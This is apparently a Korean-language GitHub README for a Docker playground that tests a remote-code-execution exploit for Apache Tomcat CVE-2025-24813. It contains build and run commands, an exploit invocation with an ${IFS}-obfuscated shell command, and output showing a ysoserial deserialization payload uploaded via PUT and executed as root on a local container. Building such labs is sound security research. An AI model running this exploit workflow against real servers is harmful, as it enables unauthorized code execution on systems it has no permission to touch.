u238/tomcat-cve_2025_24813tomcat CVE-2025-24813용 RCE 익스플로잇을 테스트하기 위한 플레이그라운드
익스플로잇은 https://github.com/absholi7ly/POC-CVE-2025-24813/blob/main/README.md 에서 포크되었습니다 (저에게는 작동하지 않았습니다)
취약한 tomcat 설치 환경을 빌드하고 실행합니다.
$ docker build -t tomcat-cve-2025-24813 .
$ docker run --name tomcat-cve-2025-24813 -it -d -p 8080:8080 tomcat-cve-2025-24813
$ python CVE_2025_24813.py --command 'bash -c echo${IFS}$(id)>/tmp/PWN' http://localhost:8080
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ █████╗ ██╗██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██║ ██║██╔══██╗███║╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████╗ ██║╚█████╔╝ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═╝╚═════╝
---=== TOMCAT RCE PLAYGROUND by u238 ===---
[*] Session ID: u238
[+] Server is writable via PUT: http://localhost:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/PWN
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://localhost:8080/u238.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://localhost:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser
$ podman exec tomcat-cve-2025-24813 cat /tmp/PWN
uid=0(root) gid=0(root) groups=0(root)